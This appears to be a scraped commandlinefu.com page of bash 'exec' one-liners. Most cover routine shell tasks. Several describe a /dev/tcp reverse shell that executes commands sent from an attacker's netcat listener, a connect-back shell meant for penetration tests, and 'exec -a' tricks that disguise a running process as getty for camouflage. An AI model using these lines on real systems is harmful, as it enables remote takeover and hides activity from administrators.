exec -a $NAME $COMMAND $ARGS
`your_cmd -erase_all_files` is the real process, but harmless-looking getty appears in the process table.
Never actually had a need to do this, but interesting nonetheless... Tested in bash, dash.
-a $NAME
"pass NAME as the zeroth argument to COMMAND", i.e. customise the name of the process (as commonly seen with `ps`)
Show Sample Output
Ever needed to test firewalls but didn't have netcat, telnet or even FTP? Enter /dev/tcp, your new best friend. /dev/tcp/(hostname)/(port) is a bash builtin that bash can use to open connections to TCP and UDP ports. This one-liner opens a connection on a port to a server and lets you read and write to it from the terminal. How it works: First, exec sets up a redirect for /dev/tcp/$server/$port to file descriptor 5. Then, as per some excellent feedback from @flatcap, we launch a redirect from file descriptor 5 to STDOUT and send that to the background (which is what causes the PID to be printed when the commands are run), and then redirect STDIN to file descriptor 5 with the second cat. Finally, when the second cat dies (the connection is closed), we clean up the file descriptor with 'exec 5>&-'. It can be used to test FTP, HTTP, NTP, or can connect to netcat listening on a port (makes for a simple chat client!) Replace /tcp/ with /udp/ to use UDP instead.
You have a script where =ALL= STDERR should be redirected to STDIN and you don't want to add "2>&1" at the end of each command...
E.G.:
ls -al /foo/bar 2>&1
Than just add this piece of code at the beginning of your script!
I hope this can help someone. :)
This is sneaky.
First, start a listening service on your box.
nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
You can send it to the background like this:
(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
Show Sample Output
This replaces the current bash session with a new bash session, run as an interactive non-login shell... useful if you have changed /etc/bash.bashrc, or ~/.bashrc
If you have changed a startup script for login shells, use
exec bash -l
Suitable for re-running /etc/profile, ~/.bash_login and ~/.profile.
edit: chinmaya points out that
env - HOME=$HOME TERM=$TERM bash -s "exec bash -l"
will clear any shell variables which have been set... since this verges on unwieldy, might want to use
alias bash_restart='env - HOME=$HOME TERM=$TERM bash -s "exec bash -l"'
Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/
Place this code at the beginning of your script to ensure that it can only be executed by the root.
shows number of mysql bin log events (which are mysql server events) per minute, useful to check stress times postmortem Show Sample Output
bash output is inserted into the clipboard, then mousepad is started and the clipboard content is pasted. xsel and xdotool needs to be installed. Instead of the mousepad any other editor can be used. I've successfully tested the Sublime Text Editor and it opens a new tab for each new paste. Check Sample output for a usage example. This command is originated from here - http://goo.gl/0q9UT4 Show Sample Output
This will grab the controlling tty regardless of what STDOUT and STDERR are doing.
The two lines below are for a BeanShell script so it can be executed under Linux and Cygwin. Also, bsh.jar must be in the CLASSPATH environment variable, or in the jre/lib/ext/ directory of the JVM. #! /bin/sh ///bin/true; exec java bsh.Interpreter "$0" "$@"
just an alternative to #7818 Show Sample Output
Crash Override, man! Apparently the exec call tricks BASH into setting the output buffer size to 0 under the assumption that the system (or the calling shell) will handle the output buffering. trapping the ERR signal will stop the subshell from dying and sending the ERR signal to the main script--which will terminate immediately if it does--when the program fails. The only problem is that the kernel will output a whole bunch of stack trace garbage directly to the console device once the process segfaults, so there's no way to prevent it from being output [that I know of].
Shows sorted by query time, the headers of mysqlbinlog entries. Then is easy to locate the heavier events on the raw log dump Show Sample Output
The command creates new session "test", executes 'date' and then start your default shell (to keep the detached session alive). Change 'date' to fit your needs.
screen -r test
will attach the created session.
On the server side, open port 8080:
nc -l -p 8080
Use full to hack STB or device without any remote control server
Tests to see if stdin (0) is NOT a terminal. Tests to see if stdout (1) IS a terminal. Copies stdout (opened for write) to stdin (open for read). Show Sample Output
Hides the process "your_command" from showing with ps, displaying some other random process name already running for a better camouflage. Show Sample Output
commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.
Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.
» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10
Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):
Subscribe to the feed for: